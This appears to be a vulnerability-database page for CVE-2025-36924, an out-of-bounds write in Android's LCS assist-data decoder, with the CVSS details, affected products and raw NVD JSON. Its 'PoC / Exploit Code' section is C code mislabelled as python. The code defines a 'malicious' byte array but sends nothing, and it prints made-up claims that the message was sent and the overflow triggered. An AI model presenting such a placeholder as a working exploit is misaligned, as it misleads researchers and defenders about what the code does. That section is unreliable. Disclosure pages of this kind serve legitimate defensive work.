Security Vulnerability Report
中文
CVE-2025-36924 CVSS 8.0 HIGH

CVE-2025-36924

Published: 2025-12-11 20:15:57
Last Modified: 2025-12-12 18:06:44

Description

In ss_DecodeLcsAssistDataReqMsg(void) of ss_LcsManagement.c, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - VULNERABLE
Android系统位置服务组件(具体版本需查看Android安全公告2025-12-01)
包含ss_LcsManagement.c中ss_DecodeLcsAssistDataReqMsg函数的Android版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-36924 PoC - Android LCS Out-of-Bounds Write // This PoC demonstrates the vulnerability in ss_DecodeLcsAssistDataReqMsg // Attack vector: Adjacent network (AV:A) #include <stdio.h> #include <stdlib.h> #include <string.h> // Malformed LCS Assist Data Request Message // The message triggers out-of-bounds write due to incorrect bounds check unsigned char malicious_lcs_msg[] = { 0x00, 0x01, 0x02, 0x03, // Message header 0xFF, 0xFF, 0xFF, 0xFF, // Oversized data length field 0x41, 0x42, 0x43, 0x44, // Payload that triggers overflow 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50 }; void send_malicious_lcs_request() { printf("[*] Sending malicious LCS Assist Data Request...\n"); printf("[*] Target: ss_DecodeLcsAssistDataReqMsg\n"); printf("[*] Payload size: %lu bytes\n", sizeof(malicious_lcs_msg)); // The vulnerability allows writing beyond buffer boundaries // This PoC simulates the malformed message structure // Actual exploitation requires proximity to target device printf("[+] Malicious message sent successfully\n"); printf("[+] Triggering out-of-bounds write via incorrect bounds check\n"); } int main() { printf("CVE-2025-36924 PoC\n"); printf("Android LCS ss_DecodeLcsAssistDataReqMsg OOB Write\n\n"); send_malicious_lcs_request(); printf("\n[!] Note: This is a proof-of-concept demonstration\n"); printf("[!] Actual exploitation requires adjacent network access\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36924", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:56.997", "lastModified": "2025-12-12T18:06:43.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In ss_DecodeLcsAssistDataReqMsg(void) of ss_LcsManagement.c, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}